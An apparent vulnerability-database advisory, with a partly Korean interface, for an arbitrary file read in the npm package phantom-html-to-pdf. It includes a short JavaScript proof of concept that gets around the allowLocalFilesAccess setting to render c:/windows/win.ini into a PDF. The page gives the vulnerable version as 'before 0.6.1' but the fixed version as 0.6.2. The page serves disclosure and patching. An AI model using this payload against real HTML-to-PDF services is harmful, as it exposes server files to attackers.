VDB
EN
HIGH 7.5

GHSA-6h7f-qwqm-35pp

Arbitrary File Read in phantom-html-to-pdf

상세

This affects the package phantom-html-to-pdf before 0.6.1.

### PoC ```js var fs = require('fs') var conversion = require("phantom-html-to-pdf")(); conversion.allowLocalFilesAccess = false conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) { var output = fs.createWriteStream('output.pdf') console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

npm / phantom-html-to-pdf
최초 영향 버전: 0 수정 버전: 0.6.2
수정 npm install phantom-html-to-pdf@0.6.2

참고